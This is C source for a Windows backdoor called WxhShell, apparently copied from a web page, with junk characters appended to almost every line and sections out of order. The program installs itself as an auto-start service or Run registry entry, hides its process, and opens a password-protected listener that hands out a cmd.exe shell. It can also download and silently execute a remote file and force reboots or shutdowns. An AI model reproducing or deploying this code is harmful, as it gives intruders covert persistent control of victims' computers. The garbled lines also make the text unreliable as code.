    if(Boot(SHUTDOWN)) c1p*}T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N{6Lvq[8  
    else { Flzl,3rW4  
    closesocket(wsh); 4]]1J L(Ka  
    ExitThread(0); S[cVoV  
    } ``mW\=fe  
    break; |^E# cI  
    } z,B'I.)M  
  // 获取shell q#N8IUN}4  
  case 's': { ro4 XA1  
    CmdShell(wsh); KBo/GBD]|  
    closesocket(wsh); nr<&j#!L  
    ExitThread(0); hUy\)GsT  
    break; G>0S( M)  
  } u9"1%  
  // 退出 }x1*4+Y1  
  case 'x': { rz%=qY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]`x\Oj &  
    CloseIt(wsh); 9 &~Rj 9  
    break; zy9# *gGq  
    } G.a^nQ@e%  
  // 离开 L7tC?F]}SK  
  case 'q': { 3M{/9rR[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); } .cP  
    closesocket(wsh); 0SBiMTm  
    WSACleanup(); g^DPb pWxu  
    exit(1); /a$RJ6t&3  
    break; wg[D*a  
        } X} v]iX  
  } RWi~34r  
  } :jq   
DKfw8"L]  
  // 提示信息 S:GX!6>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +[ 944n  
} =?f\o*J)  
  } ^w XXx=Xf  
)Aky:kM$  
  return; L{\au5-4  
} *gC6yQ2?  
6A]Ia4PL  
// shell模块句柄 :8bz+3p  
int CmdShell(SOCKET sock) sCFqz[I  
{ 8L<GAe  
STARTUPINFO si; YRYAQj/7  
ZeroMemory(&si,sizeof(si)); cM;& $IjCt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^L(}cO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;$\d^i{N  
PROCESS_INFORMATION ProcessInfo; "$tP>PO{<  
char cmdline[]="cmd"; L;0ZB=3n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xhIC["z5  
  return 0; FXPw 5  
} $b/oiy!=|3  
^MesP:[2  
// 自身启动模式 PZRm.vC)k  
int StartFromService(void) %<q l  
{ gekW&tRie  
typedef struct <5Jp2x#  
{ 0'm4 ) \  
  DWORD ExitStatus;  ajayj|h  
  DWORD PebBaseAddress; ttPa[h{!  
  DWORD AffinityMask; mzz77i  
  DWORD BasePriority; }F1|& A  
  ULONG UniqueProcessId; J:,>/')n  
  ULONG InheritedFromUniqueProcessId; zUqt^_  
}   PROCESS_BASIC_INFORMATION; t/K<fy 6  
I"^ `!8<q  
PROCNTQSIP NtQueryInformationProcess; 6U k[_)1  
&LO<!WKQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /u }AgIb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [}|-% 4s  
XU Hu=2F  
  HANDLE             hProcess; J}qk:xGL  
  PROCESS_BASIC_INFORMATION pbi; c_]$UM[7L  
95,y@~ *]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >`a)gky%~  
  if(NULL == hInst ) return 0; '~3a(1@8  
:cmfy6h]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Vj]whE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h*f=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -bK#&o,  
h:3`e`J<h  
  if (!NtQueryInformationProcess) return 0; HPAd@5d(  
) w.cCDL c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N?H;fK4v  
  if(!hProcess) return 0; /I3#WUc;![  
MC!K7ji  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Wq{ch  
`Njv#K} U  
  CloseHandle(hProcess);  '._8  
Yz0ruhEMk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !Re/W ykY  
if(hProcess==NULL) return 0; ,>n 4 `A  
z)'dDM D"  
HMODULE hMod; q#-szZQ  
char procName[255]; \. A~>=:  
unsigned long cbNeeded; MEbx{XC  
W xyQA:3s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t i)foam  
<`sVu  
  CloseHandle(hProcess); ul+ +h4N  
`Y-uNJ'.N  
if(strstr(procName,"services")) return 1; // 以服务启动 /_?E0 r  
>A|6 kzC  
  return 0; // 注册表启动 wh:O"&qk  
} %b2.JGBqJ  
SI3ek9|XU  
// 主模块 4`G":nE?We  
int StartWxhshell(LPSTR lpCmdLine) 4w^B&e%  
{ 1sZwW P  
  SOCKET wsl; Xi_>hL+R(  
BOOL val=TRUE; :cop0;X:Wm  
  int port=0; pJ x88LfR  
  struct sockaddr_in door; |n3PznV  
Re('7m h~  
  if(wscfg.ws_autoins) Install(); Xd>4n7nb$`  
lNQt  
port=atoi(lpCmdLine); NjVuwIm+  
3uCC_Am  
if(port<=0) port=wscfg.ws_port; ZGa>^k[:  
\pB"R$YZ6  
  WSADATA data; YMwMaU)K,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eMVfv=&L<3  
b&A+`d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xvm.Un< N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1`2n<qo  
  door.sin_family = AF_INET; S5E mLgnRs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i)P.Omr  
  door.sin_port = htons(port); Deq~"  
A?q[C4-BO,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A0yRA+  
closesocket(wsl); u#?K/sU  
return 1; vV-ATIf ^  
} m1=3@>  
L 4'@f  
  if(listen(wsl,2) == INVALID_SOCKET) { <0vQHND,3  
closesocket(wsl); )h,+>U@  
return 1; `!DrB08A  
} 9j:t}HV  
  Wxhshell(wsl); N VzR2  
  WSACleanup(); e~c;wP~cO  
&h-d\gMJ  
return 0; ?7^H1L  
ePK^v_vBD  
} H^p ?t=Y  
F'W{\4  
// 以NT服务方式启动 QP)-O*+AA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ',`iQt!Lx  
{ 1b E$x^P  
DWORD   status = 0; Z:09 ]r1  
  DWORD   specificError = 0xfffffff; JJq= {;  
;_M .(8L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n[CESo%[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~qLbyzHaB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 07Yh  
  serviceStatus.dwWin32ExitCode     = 0; D|,d_W  
  serviceStatus.dwServiceSpecificExitCode = 0; qi}HJkOq  
  serviceStatus.dwCheckPoint       = 0; s%>>E!Qi_  
  serviceStatus.dwWaitHint       = 0; -<sn+-uE:  
3'Q H\t5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AYd7qx:~  
  if (hServiceStatusHandle==0) return; 0tm%Kd  
:S0r)CNP  
status = GetLastError(); rAwq$!xx  
  if (status!=NO_ERROR) JSt%L|}Y  
{ |dpOE<f[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VjSb>k   
    serviceStatus.dwCheckPoint       = 0; K0yTHX?(.  
    serviceStatus.dwWaitHint       = 0; rv1kIc5Za<  
    serviceStatus.dwWin32ExitCode     = status; 2J^6(vk  
    serviceStatus.dwServiceSpecificExitCode = specificError; U5z^R>k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }XWic88!~  
    return; /}-]n81m  
  } {7[^L1  
S3i%7f^C?N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aAF:nyV~~0  
  serviceStatus.dwCheckPoint       = 0; F*o{dLJ)  
  serviceStatus.dwWaitHint       = 0; MQ5#6 vJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x"K<@mR5G  
} _\>?.gg$  
NQ !t`  
// 处理NT服务事件,比如:启动、停止 C[gCwDwl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cPi 3UjY~  
{ XgP7 !  
switch(fdwControl) .6+j&{WNo!  
{ =|bM|8,  
case SERVICE_CONTROL_STOP: 1`r 4  
  serviceStatus.dwWin32ExitCode = 0; [Pi8gj*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U")~bU  
  serviceStatus.dwCheckPoint   = 0; N?U;G*G  
  serviceStatus.dwWaitHint     = 0; 4~hd{8  
  { ~;QO`I=0P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQ<""_S||  
  } 1mgLH  
  return; v$s3f|Y  
case SERVICE_CONTROL_PAUSE: F:x" RbbF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rXuhd [!(P  
  break; vr/V_  
case SERVICE_CONTROL_CONTINUE: :"g^y6i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XU5/7 .  
  break; ] NL-)8u  
case SERVICE_CONTROL_INTERROGATE: GN?^7kI  
  break; f}0(qN/G  
}; d3_aFs Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v#@"Evh7  
} T|Sz~nO}f  
Uc>kCBCd  
// 标准应用程序主函数 wAkpk&R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g+t-<D"L5  
{ ]C3{ _?=  
/+.Bc(`  
// 获取操作系统版本 ]Vo;ZY_\  
OsIsNt=GetOsVer(); @X?DHLM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OGh9^,v  
eZIqyw  
  // 从命令行安装 y!u)q3J0&  
  if(strpbrk(lpCmdLine,"iI")) Install(); W~aVwO'(  
^]( sCE7  
  // 下载执行文件 Zk__CgS#  
if(wscfg.ws_downexe) { n'9Wl'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d^mw&F)S  
  WinExec(wscfg.ws_filenam,SW_HIDE); /@X!  
}  U2  
T=(/n=  
if(!OsIsNt) { t,M _  
// 如果时win9x,隐藏进程并且设置为注册表启动 *BH*   
HideProc(); X#'DS&{  
StartWxhshell(lpCmdLine); L/_h5Q:'W  
} [-_3Zr  
else IP7j)SM!  
  if(StartFromService()) qc2j}D0  
  // 以服务方式启动 sI7d?+  
  StartServiceCtrlDispatcher(DispatchTable); vm"LPwSk>  
else z6]dF"N  
  // 普通方式启动 >0Y >T6!  
  StartWxhshell(lpCmdLine); x :\+{-  
-;20|US)u  
return 0; ? [l[y$9  
} 6X~.J4  
u)Y~+ [Q  
O`Er*-O  
:f G5?])  
=========================================== LQ`s>q  
@)1>ba  
4='Xhm  
t'|A0r$  
:JH#*5%gQ:  
B>rz<bPT  
" r@ujE,D=k  
X0Zqx1  
#include <stdio.h> 3_|<CE6  
#include <string.h> W@`2+}  
#include <windows.h> {^=T&aCYdS  
#include <winsock2.h> "s]r"(MX  
#include <winsvc.h> T\I}s"d  
#include <urlmon.h> )' +" y~  
83K)j"!<X  
#pragma comment (lib, "Ws2_32.lib") [Gop-Vi/~  
#pragma comment (lib, "urlmon.lib") 0uV3J  
^ gMoW  
#define MAX_USER   100 // 最大客户端连接数 #%O|P&rA  
#define BUF_SOCK   200 // sock buffer z/!LC;(  
#define KEY_BUFF   255 // 输入 buffer ^\ A[^' 9  
4&X D  
#define REBOOT     0   // 重启 cWjb149@)  
#define SHUTDOWN   1   // 关机 <*EMcZ  
?!^ow5"8  
#define DEF_PORT   5000 // 监听端口 n75)%-  
k>E^FB=  
#define REG_LEN     16   // 注册表键长度 fb-Lp#!T39  
#define SVC_LEN     80   // NT服务名长度 FlGU1%]m  
pqe7a3jr  
// 从dll定义API |eykb?j`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uzg(C#sp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WJWi'|C4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KBE3q)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .2"-N5Z  
m:B9~ lbT+  
// wxhshell配置信息 E@ J/_l;  
struct WSCFG { M2H +1ic  
  int ws_port;         // 监听端口 (StX1g'  
  char ws_passstr[REG_LEN]; // 口令 60,z!Vv  
  int ws_autoins;       // 安装标记, 1=yes 0=no T<yAfnTb`  
  char ws_regname[REG_LEN]; // 注册表键名 X-LCIT|1  
  char ws_svcname[REG_LEN]; // 服务名 /By:S/[1pL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |y9(qcKn$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0DtewN{Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2[~|#0x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W*S}^6ZT`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "| Oj!&0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LNp{lC  
g)$/'RB  
}; \]C_ul'  
-Zq\x'  
// default Wxhshell configuration -yOwX2Wv5;  
struct WSCFG wscfg={DEF_PORT, b S-o86u  
    "xuhuanlingzhe", bGw56s'R5~  
    1, `_aX>fw  
    "Wxhshell", ICck 0S!  
    "Wxhshell", A0hKzj  
            "WxhShell Service", SU ,G0.  
    "Wrsky Windows CmdShell Service", (P!r^87  
    "Please Input Your Password: ", DW( /[jo\  
  1, F+o4f3N  
  "http://www.wrsky.com/wxhshell.exe", %,T=|5  
  "Wxhshell.exe" &1 /OwTI4J  
    }; WC0z'N({W  
Kb X&E0  
// 消息定义模块 -t]3 gCLb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lXtsnQOOK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; riR(CJ}Ff  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LMKhtOZ?  
char *msg_ws_ext="\n\rExit."; 'Qdea$o  
char *msg_ws_end="\n\rQuit."; I3gl+)Q  
char *msg_ws_boot="\n\rReboot..."; hL4T7`  
char *msg_ws_poff="\n\rShutdown..."; Hg&.U;n  
char *msg_ws_down="\n\rSave to "; U!d|5W.{Q  
zh{,.c  
char *msg_ws_err="\n\rErr!"; {wy{L-X  
char *msg_ws_ok="\n\rOK!"; U#V&=~-  
cWtuI(.  
char ExeFile[MAX_PATH]; ES-V'[+jDy  
int nUser = 0; T:T`M:C.  
HANDLE handles[MAX_USER]; K|pg'VT"  
int OsIsNt; [ Y+Ta,  
Az7 ] qb  
SERVICE_STATUS       serviceStatus; :@uIEvD?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (1EtC{ m  
6VUs:iO1j5  
// 函数声明 ZnKjU ]m  
int Install(void); IG+g7kDCY  
int Uninstall(void); JBhM*-t(M1  
int DownloadFile(char *sURL, SOCKET wsh); k5M5bH',  
int Boot(int flag); ;b{yu|  
void HideProc(void); LBxmozT  
int GetOsVer(void); {N3&JL5\"E  
int Wxhshell(SOCKET wsl); 0=0,ix7?#  
void TalkWithClient(void *cs); (Bq^ D9  
int CmdShell(SOCKET sock); l1bkhA b  
int StartFromService(void); Y~ xo=v(  
int StartWxhshell(LPSTR lpCmdLine); \sBXS.  
X[<%T}s#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ho-#Xbq#g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /KLkrW  
zmU@ k  
// 数据结构和表定义 kmUL^vF  
SERVICE_TABLE_ENTRY DispatchTable[] = r<$o [,W  
{ 4#CHX^De  
{wscfg.ws_svcname, NTServiceMain}, "(r%`.l=I  
{NULL, NULL} ;6eBfMhL  
}; jme`Tyd  
5?MaKNm}  
// 自我安装 T;G<62`.h  
int Install(void) wz'=  
{ d^=9YRc  
  char svExeFile[MAX_PATH]; Y-UXr8  
  HKEY key; #M%K82"  
  strcpy(svExeFile,ExeFile);  TZ63=m  
JM1O7I  
// 如果是win9x系统,修改注册表设为自启动 V408u y-M  
if(!OsIsNt) { ]]0Yh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PYBE?td  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fc#Sn2p*  
  RegCloseKey(key); @U3:9~Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {d XTj7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4#D&5I",  
  RegCloseKey(key); Ngj&1Ta&[  
  return 0; yR? ./M!  
    } M8V c5  
  } h!@7'Q  
} ollsB3]]  
else { T|8:_4/l  
@@j:z;^|  
// 如果是NT以上系统,安装为系统服务 "OwK-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]5K+W  
if (schSCManager!=0) [^Bjmw[7  
{ ?&'Kw>s@  
  SC_HANDLE schService = CreateService O\CnKNk,  
  ( gu6%$z  
  schSCManager, p}3` "L=  
  wscfg.ws_svcname, ue^HhZ9  
  wscfg.ws_svcdisp, ,z<1:st]<  
  SERVICE_ALL_ACCESS, &|j0GP&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CT5s`v!s  
  SERVICE_AUTO_START, wVqp')e  
  SERVICE_ERROR_NORMAL, 2}=@n*8*d  
  svExeFile, C1'y6{,@  
  NULL, {,i-V57-h  
  NULL, 2"HTD|yy  
  NULL, ZNne 8  
  NULL, /vq$/  
  NULL dQ:F5|p  
  ); DuNindo 8  
  if (schService!=0) `m#-J;la  
  { Vpne-PW  
  CloseServiceHandle(schService); Jz=|-F(Sy  
  CloseServiceHandle(schSCManager); ~4pP( JP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,f{w@Er  
  strcat(svExeFile,wscfg.ws_svcname); HMC-^4\%[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^B0Qk:%P^N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t7l{^d_L  
  RegCloseKey(key); 5F+G8  
  return 0; T60pw  
    } jz`3xFy *]  
  } y=c={Qz@vn  
  CloseServiceHandle(schSCManager); gyMHC{l/B  
} iGSA$U P|  
} 67hfve  
gROK4'j6y  
return 1; 0^R, d M  
} WQ 2{`'z  
% YK xdp  
// 自我卸载 ywl=@  
int Uninstall(void) =6qTz3t  
{ ^GAJ9AF@(  
  HKEY key; d&CpaOSu  
&&m3E=K!^  
if(!OsIsNt) { rrr_{d/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d|oO2yzWv  
  RegDeleteValue(key,wscfg.ws_regname); ]/kpEx  
  RegCloseKey(key); i^e8.zgywF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F|{uA/P{  
  RegDeleteValue(key,wscfg.ws_regname); 3rB0H   
  RegCloseKey(key); "!D y[J  
  return 0; ^~I@]5Pq  
  } +}N'Xa/Jt  
} 2mn AL#  
} &oMWs]0  
else { M,S'4Sz uk  
.=9WY_@SZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (5 @H  
if (schSCManager!=0) _crhBp5@T3  
{ yw$4Hlj5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aUzCKX%>C  
  if (schService!=0) 4")`}T  
  { }rI:pp^KS  
  if(DeleteService(schService)!=0) { 3r, ~-6  
  CloseServiceHandle(schService); ;RJ 8h x  
  CloseServiceHandle(schSCManager); ZaU8eg7  
  return 0; {@ vnKyf^K  
  } +:uz=~m o`  
  CloseServiceHandle(schService); 1Vdi5;dn  
  } {='Bd6_=  
  CloseServiceHandle(schSCManager); UL-_z++G  
} l>}f{az-T  
} T"[]'|'  
^\AeX-q2v'  
return 1; 7n6g;8xE  
} V-}}?c1 F  
;o3gR4u_L  
// 从指定url下载文件 N"G aQ  
int DownloadFile(char *sURL, SOCKET wsh) q9_ $&9  
{ 2^=.j2  
  HRESULT hr; z'"7zLQ  
char seps[]= "/"; qEr?4h  
char *token; \O;2^  
char *file; /W$i8g  
char myURL[MAX_PATH]; =&}_bd/]  
char myFILE[MAX_PATH]; /j$=?Rp  
D<;~eZ'  
strcpy(myURL,sURL); <;S$4tux  
  token=strtok(myURL,seps); ![^pAEgx  
  while(token!=NULL) YND}P9 h  
  { )Q'E^[Ua  
    file=token; bu|.Jw"  
  token=strtok(NULL,seps); zo( #tQ-'m  
  } |MFAP!rycS  
<'~m1l#2  
GetCurrentDirectory(MAX_PATH,myFILE); [&n[p?  
strcat(myFILE, "\\"); h9)fXW  
strcat(myFILE, file); %`yfi+e  
  send(wsh,myFILE,strlen(myFILE),0); GYx0U8MJ[e  
send(wsh,"...",3,0); B= {_}f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q2VF+g,  
  if(hr==S_OK) o=3hWbe  
return 0; b$ 7 ]cE  
else W~/d2_|/  
return 1; CpO_p%P  
aX^T[  
} mkn1LzE|F  
j4?Qd0z  
// 系统电源模块 Bz/Vzc(  
int Boot(int flag) &rBe -52  
{ &.,K@OFE}  
  HANDLE hToken; zHb [.ry~  
  TOKEN_PRIVILEGES tkp; t1adS:)s  
e4tIO   
  if(OsIsNt) { LigB!M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fz=?QEG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {siOa%;*  
    tkp.PrivilegeCount = 1; G kjfDY:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 172G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eo0-aHs  
if(flag==REBOOT) { _-TplGSO=c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $+'H000x  
  return 0; T+v*@#iJ_  
} ^m w]u"5\  
else { x,,y}_YX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Io]FDPN  
  return 0; V.P<>~W  
} TlS? S+  
  }  ma~#E$i&  
  else { \b"rf697 ,  
if(flag==REBOOT) { E$)|Kv^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WR)=VE   
  return 0; Y[6T7eZ0g  
} Mj MDD  
else { KGy 3#r;Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G%erh}0~  
  return 0; ep"[; $Eb  
} J:m/s9r  
} JXK\mah  
X&pYLm72;  
return 1; N `|A  
} 'Rn-SD~gIr  
pbzFzLal  
// win9x进程隐藏模块 8}  B  
void HideProc(void) W`;;fJe  
{ 6h;(b2p{  
8)X9abC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c* {6T}VZr  
  if ( hKernel != NULL ) r(>S  
  { KNx/1 lf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m^D'p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (F4e}hr&  
    FreeLibrary(hKernel); xnY?<?J"!  
  } $Z@*!B^  
?G,4N<]Nu  
return; >!=@TK(~  
} c@t?R$c  
Ga7E}y%  
// 获取操作系统版本 $+*nb4  
int GetOsVer(void) |Kd#pYt%O  
{ nje7?Vz  
  OSVERSIONINFO winfo; |p6d]#z3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rwF$aR>9  
  GetVersionEx(&winfo); !=dz^f.{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G?W:O{n3  
  return 1; Rd#R}yA  
  else Y!<m8\  
  return 0; W{}$c`,R  
} E]@&<TFq  
9F/I",EA  
// 客户端句柄模块 Cr5ND\  
int Wxhshell(SOCKET wsl) 4[gmA  
{ +:FXtO>n"  
  SOCKET wsh; lMFR_g?r  
  struct sockaddr_in client; \=ML*Gi*  
  DWORD myID; 6 8tyWd}  
<Ua~+U(FR0  
  while(nUser<MAX_USER) 3B1\-ry1M  
{ pDR~SxBXr  
  int nSize=sizeof(client); O?e9wI=H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UR sx>yx  
  if(wsh==INVALID_SOCKET) return 1; *dBeb  
Y Zj-%5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L`+[mX&2B  
if(handles[nUser]==0) s6 yvq#:  
  closesocket(wsh); T2e-RR  
else QQl.5'PP  
  nUser++; mU/o%|h  
  } *g(d}C!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s@\3|e5g  
>. |({;n9  
  return 0; ?:;;0kSk  
} `n PdZ.  
H/D=$)3op  
// 关闭 socket F!vrvlD`s  
void CloseIt(SOCKET wsh) j 6qtR$l|  
{ N*Aw-\Bk  
closesocket(wsh); N<)CG,/w[M  
nUser--; @>8(f#S%  
ExitThread(0); 7Nq< o5  
} Vebv!  
YdhTjvx  
// 客户端请求句柄 r[L.TX3Ah=  
void TalkWithClient(void *cs) sVFO&|L  
{ P#O" {+`  
cE\w6uBR1  
  SOCKET wsh=(SOCKET)cs; K.  ;ev  
  char pwd[SVC_LEN]; t#NPbLZ  
  char cmd[KEY_BUFF]; FZ- Wgh 0z  
char chr[1]; =6sP`:  
int i,j; G+ /Q!ic  
,>j3zjf^  
  while (nUser < MAX_USER) { 7'\. Q J!<  
'Ea3(OsuXn  
if(wscfg.ws_passstr) { Yk Ku4f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n8,%<!F^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Px_8lB/;  
  //ZeroMemory(pwd,KEY_BUFF); gT)(RS`_)  
      i=0; uN%Cc12  
  while(i<SVC_LEN) { tia}&9;  
Cd%5XD^  
  // 设置超时 G@7^M}  
  fd_set FdRead; 4:V +>Jt  
  struct timeval TimeOut; Jq_\r' YE  
  FD_ZERO(&FdRead); S@,/$L  
  FD_SET(wsh,&FdRead); )PN8HJAArh  
  TimeOut.tv_sec=8; @yTu/U  
  TimeOut.tv_usec=0; ZdW+=;/#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /$; Z ~^P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K$S0h-?9]O  
M^kaik  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qYoW8e   
  pwd=chr[0]; c~T {;  
  if(chr[0]==0xd || chr[0]==0xa) { :w^:Z$-hf  
  pwd=0; Q7+WV`&  
  break; KMhrw s{&B  
  } s\*p|vc  
  i++; $xu2ZBK  
    } | R,dsBd  
PF4[;E S'  
  // 如果是非法用户,关闭 socket UynGG@P@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A;U c&G  
} oiyvKMHz7  
QytO0K5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?1\5X<|,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k5RzW4zq;  
( fFrX_K]  
while(1) { |gk*{3~y  
|.; N_i  
  ZeroMemory(cmd,KEY_BUFF); ?qQ{]_q1&.  
3U6QYD55]]  
      // 自动支持客户端 telnet标准   G"r{!IFL  
  j=0; i@/%E~W  
  while(j<KEY_BUFF) { *JOK8[Qn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1RkN^FZOxq  
  cmd[j]=chr[0]; Trirb'qO  
  if(chr[0]==0xa || chr[0]==0xd) { KDN#CU  
  cmd[j]=0; L4iWR/&  
  break; w hI4@#  
  } R&uPoY,f  
  j++; I(6%'s2  
    } cC8$oCR?  
ih kZs3}  
  // 下载文件  *RY}e  
  if(strstr(cmd,"http://")) { g!0 j1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h),;j`PrC  
  if(DownloadFile(cmd,wsh)) IsE&k2 SD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {tVA(&\<  
  else jnV#Q ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gr({30"8  
  } {JWixbA  
  else { ` k] TOc  
[)`*k#.=  
    switch(cmd[0]) { yK{P%oh)  
  RlfI]uCDM  
